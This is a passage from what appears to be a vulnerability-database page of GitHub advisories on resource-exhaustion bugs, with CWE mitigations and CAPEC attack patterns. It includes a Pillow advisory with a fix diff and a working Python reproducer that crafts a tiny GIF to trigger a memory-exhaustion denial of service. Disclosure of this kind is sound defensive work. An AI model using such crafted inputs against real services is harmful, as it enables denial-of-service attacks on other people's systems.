self.size[0] or y1 \u003e self.size[1]) and update_image:\n-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])\n-                    Image._decompression_bomb_check(self._size)\n+                    size = max(x1, self.size[0]), max(y1, self.size[1])\n+                    Image._decompression_bomb_check(size)\n+                    self._size = size\n                 frame_dispose_extent = x0, y0, x1, y1\n                 flags = s[8]\n```\n\n`n_frames` / `is_animated` go through `update_image=False` and are unaffected.\nThe patch also extends `test_exception_gif_extents` in\n`Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after\nthe `DecompressionBombError`. It does not change `seek()` itself; optionally,\n`seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek\nto `last_frame`, so that a retried `seek()` does not resume parsing from the\nmiddle of the rejected frame.\n\n## The patch\n\nGIF: run the decompression bomb check on an enlarging frame\u0027s extent before storing it in self._size\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py\nindex 98d833736..83cc785fc 100644\n--- a/Tests/test_decompression_bomb.py\n+++ b/Tests/test_decompression_bomb.py\n@@ -63,6 +63,9 @@ class TestDecompressionBomb:\n             with pytest.raises(Image.DecompressionBombError):\n                 im.seek(1)\n \n+            # The rejected frame should not have changed the image size\n+            assert im.size == (100, 100)\n+\n     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -\u003e None:\n         # Set limit to trigger exception on the test file\n         monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128)\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..f9bda06c2 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n                 x0, y0 = i16(s, 0), i16(s, 2)\n                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n                 if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])\n-                    Image._decompression_bomb_check(self._size)\n+                    size = max(x1, self.size[0]), max(y1, self.size[1])\n+                    Image._decompression_bomb_check(size)\n+                    self._size = size\n                 frame_dispose_extent = x0, y0, x1, y1\n                 flags = s[8]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 2,474 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# GifImageFile._seek() stores a frame\u0027s enlarged size in self._size and only\n# *then* runs the decompression-bomb check. The check raises, but the object\n# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the\n# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.\nimport io\nimport resource\nimport struct\n\nfrom PIL import Image\n\nBOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold\nLIMIT = 2 * Image.MAX_IMAGE_PIXELS\n\n\ndef frame_1x1():\n    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream\n    return b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, 1, 1, 0) + b\"\\x02\\x02\\x44\\x01\\x00\"\n\n\ndef bomb_gif():\n    return (\n        b\"GIF89a\" + struct.pack(\"\u003cHHBBB\", 1, 1, 0x80, 0, 0) + b\"\\x00\" * 3 + b\"\\xff\" * 3\n        + frame_1x1()                                         # frame 0: 1x1, passes open()\n        + b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000\n        + frame_1x1()                                         # a real 1x1 frame follows\n        + b\";\"\n    )\n\n\ndef peak_rss_mib():\n    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024\n\n\ndef setup_env():\n    # Cap the address space so the oversized allocations end in MemoryError\n    # instead of the OOM killer.\n    resource.setrlimit(resource.RLIMIT_AS, (3 \u003c\u003c 30, 3 \u003c\u003c 30))\n    data = bomb_gif()\n    im = Image.open(io.BytesIO(data))\n    print(f\"open(): {len(data)}-byte GIF, size={im.size}\")\n    return im\n\n\ndef poc(im):\n    # An application skips the bomb frame and keeps going.\n    try:\n        im.seek(1)\n    except Image.DecompressionBombError as e:\n        print(f\"seek(1) raised as intended: {e}\")\n        return True\n    return False\n\n\nim = setup_env()\nraised = poc(im)\n\n# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).\nprint(f\"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}\")\npoisoned = raised and im.size[0] * im.size[1] \u003e LIMIT and im.im.size == (1, 1)\n\n# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its\n# buffers from the poisoned im.size.\nbefore = peak_rss_mib()\nim.seek(1)\ntry:\n    im.load()\n    outcome = \"completed\"\nexcept MemoryError:\n    outcome = \"MemoryError at the 3 GiB cap\"\nafter = peak_rss_mib()\nprint(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -\u003e {after} MiB\")\nballooned = after - before \u003e 1000\n\nprint(\"BUG\" if poisoned and ballooned else \"OK\")\n```\n\u003c/details\u003e\n\n---",
  "id": "GHSA-65qm-jvmh-6pqg",
  "modified": "2026-10-20T20:53:36Z",
  "published": "2026-10-20T20:53:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112400"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS"
}

GHSA-65R8-5G9X-W2M2

Vulnerability from github – Published: 2026-11-10 21:34 – Updated: 2026-11-10 21:34
VLAI
Details

A vulnerability exists in a network-facing component that may, under certain conditions, result in service disruption. Successful exploitation could cause temporary unavailability of affected functionality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-95783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-10T20:19:49Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability exists in a network-facing component that may, under certain conditions, result in service disruption. Successful exploitation could cause temporary unavailability of affected functionality.",
  "id": "GHSA-65r8-5g9x-w2m2",
  "modified": "2026-11-10T21:34:37Z",
  "published": "2026-11-10T21:34:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95783"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05179en_us\u0026docLocale=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-65V8-Q8G2-34XW

Vulnerability from github – Published: 2023-09-18 09:30 – Updated: 2024-04-04 07:42
VLAI
Details

Certain WithSecure products allow a remote crash of a scanning engine via processing of a compressed file. This affects WithSecure Client Security 15, WithSecure Server Security 15, WithSecure Email and Server Security 15, WithSecure Elements Endpoint Protection 17 and later, WithSecure Client Security for Mac 15, WithSecure Elements Endpoint Protection for Mac 17 and later, Linux Security 64 12.0 , Linux Protection 12.0, and WithSecure Atlant (formerly F-Secure Atlant) 1.0.35-1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-42521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-18T07:15:37Z",
    "severity": "HIGH"
  },
  "details": "Certain WithSecure products allow a remote crash of a scanning engine via processing of a compressed file. This affects WithSecure Client Security 15, WithSecure Server Security 15, WithSecure Email and Server Security 15, WithSecure Elements Endpoint Protection 17 and later, WithSecure Client Security for Mac 15, WithSecure Elements Endpoint Protection for Mac 17 and later, Linux Security 64 12.0 , Linux Protection 12.0, and WithSecure Atlant (formerly F-Secure Atlant) 1.0.35-1.",
  "id": "GHSA-65v8-q8g2-34xw",
  "modified": "2024-04-04T07:42:59Z",
  "published": "2023-09-18T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42521"
    },
    {
      "type": "WEB",
      "url": "https://www.withsecure.com/en/support/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-65XW-VW82-R86X

Vulnerability from github – Published: 2026-03-29 15:19 – Updated: 2026-03-30 21:19
VLAI
Summary
XPath: Boolean expression infinite loop leads to denial of service via CPU exhaustion
Details

Boolean expressions that evaluate to true can cause an infinite loop in logicalQuery.Select, leading to 100% CPU usage. This can be triggered by top-level selectors such as "1=1" or "true()".

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/antchfx/xpath"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:19:45Z",
    "nvd_published_at": "2026-03-26T20:16:12Z",
    "severity": "HIGH"
  },
  "details": "Boolean expressions that evaluate to true can cause an infinite loop in logicalQuery.Select, leading to 100% CPU usage. This can be triggered by top-level selectors such as \"1=1\" or \"true()\".",
  "id": "GHSA-65xw-vw82-r86x",
  "modified": "2026-03-30T21:19:36Z",
  "published": "2026-03-29T15:19:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antchfx/xpath/issues/121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang/vulndb/issues/4526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antchfx/xpath/commit/afd4762cc342af56345a3fb4002a59281fcab494"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/antchfx/xpath"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4526"
    },
    {
      "type": "WEB",
      "url": "https://securityinfinity.com/research/infinite-loop-dos-in-antchfx-xpath-logicalquery-select"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XPath: Boolean expression infinite loop leads to denial of service via CPU exhaustion"
}

GHSA-6627-XQ79-X5Q7

Vulnerability from github – Published: 2022-05-24 17:07 – Updated: 2022-05-24 17:07
VLAI
Details

CODESYS Control V3, Gateway V3, and HMI V3 before 3.5.15.30 allow uncontrolled memory allocation which can result in a remote denial of service condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-24T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "CODESYS Control V3, Gateway V3, and HMI V3 before 3.5.15.30 allow uncontrolled memory allocation which can result in a remote denial of service condition.",
  "id": "GHSA-6627-xq79-x5q7",
  "modified": "2022-05-24T17:07:19Z",
  "published": "2022-05-24T17:07:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7052"
    },
    {
      "type": "WEB",
      "url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=12977\u0026token=33f948eed0c2fd69d238d9515779be337ef7592d\u0026download="
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2020-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-662P-8MX9-XVC4

Vulnerability from github – Published: 2022-10-15 12:01 – Updated: 2022-10-18 19:00
VLAI
Details

In sensor driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service in kernel.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-39126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-14T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In sensor driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service in kernel.",
  "id": "GHSA-662p-8mx9-xvc4",
  "modified": "2022-10-18T19:00:30Z",
  "published": "2022-10-15T12:01:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39126"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1575654905820020738"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-662X-FHQG-9P8V

Vulnerability from github – Published: 2021-05-07 16:18 – Updated: 2021-05-03 19:19
VLAI
Summary
Regular Expression Denial of Service in ua-parser-js
Details

The package ua-parser-js before 0.7.22 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ua-parser-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-03T19:19:25Z",
    "nvd_published_at": "2020-09-16T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "The package ua-parser-js before 0.7.22 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.",
  "id": "GHSA-662x-fhqg-9p8v",
  "modified": "2021-05-03T19:19:25Z",
  "published": "2021-05-07T16:18:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7733"
    },
    {
      "type": "WEB",
      "url": "https://github.com/faisalman/ua-parser-js/commit/233d3bae22a795153a7e6638887ce159c63e557d"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBFAISALMAN-674666"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-674665"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-UAPARSERJS-610226"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in ua-parser-js"
}

GHSA-6659-73GF-7PWG

Vulnerability from github – Published: 2026-07-15 21:31 – Updated: 2026-07-16 18:31
VLAI
Details

CVE-2026-55399 is a resource exhaustion vulnerability in the Secure Access publisher prior to 14.55. Attackers with valid credentials to the Secure Access tunnel can create a non-persistent DoS against the publisher.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-55399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T21:16:55Z",
    "severity": "MODERATE"
  },
  "details": "CVE-2026-55399 is a resource exhaustion\nvulnerability in the Secure Access publisher prior to 14.55. Attackers with\nvalid credentials to the Secure Access tunnel can create a non-persistent DoS\nagainst the publisher.",
  "id": "GHSA-6659-73gf-7pwg",
  "modified": "2026-07-16T18:31:29Z",
  "published": "2026-07-15T21:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55399"
    },
    {
      "type": "WEB",
      "url": "https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-55399"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6663-C963-2GQG

Vulnerability from github – Published: 2019-02-18 23:58 – Updated: 2020-08-31 18:11
VLAI
Summary
DoS due to excessively large websocket message in ws
Details

Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.

Recommendation

Update to version 1.1.1 or later. Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:18:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `ws` do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.\n\n\n\n## Recommendation\n\nUpdate to version 1.1.1 or later. \nAlternatively, set the `maxpayload` option for the `ws` server to a value smaller than 256MB.",
  "id": "GHSA-6663-c963-2gqg",
  "modified": "2020-08-31T18:11:28Z",
  "published": "2019-02-18T23:58:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10542"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/node/issues/7388"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6663-c963-2gqg"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/120"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "DoS due to excessively large websocket message in ws"
}

GHSA-6665-2VJ3-H76R

Vulnerability from github – Published: 2026-11-13 12:31 – Updated: 2026-11-14 00:06
Withdrawn 2026-11-14 VLAI
Summary
Duplicate Advisory: Quadratic-time CPU denial of service in Tree.chomsky_normal_form right-factor binarization via list.pop(0)
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-r53h-rw34-8h97. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.4 contains a denial of service vulnerability in Tree.chomsky_normal_form that allows remote attackers to exhaust CPU through quadratic-time right-factor binarization using list.pop(0). Attackers can supply a wide flat treebank tree parsed by Tree.fromstring to force tens of seconds of single-threaded CPU consumption, blocking the processing thread.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 3.10.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-14T00:06:57Z",
    "nvd_published_at": "2026-11-13T10:17:34Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-r53h-rw34-8h97. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.4 contains a denial of service vulnerability in Tree.chomsky_normal_form that allows remote attackers to exhaust CPU through quadratic-time right-factor binarization using list.pop(0). Attackers can supply a wide flat treebank tree parsed by Tree.fromstring to force tens of seconds of single-threaded CPU consumption, blocking the processing thread.",
  "id": "GHSA-6665-2vj3-h76r",
  "modified": "2026-11-14T00:06:57Z",
  "published": "2026-11-13T12:31:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-r53h-rw34-8h97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-126298"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-3.10.4-quadratic-cpu-denial-of-service-via-tree-chomsky-normal-form"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Quadratic-time CPU denial of service in Tree.chomsky_normal_form right-factor binarization via list.pop(0)",
  "withdrawn": "2026-11-14T00:06:57Z"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.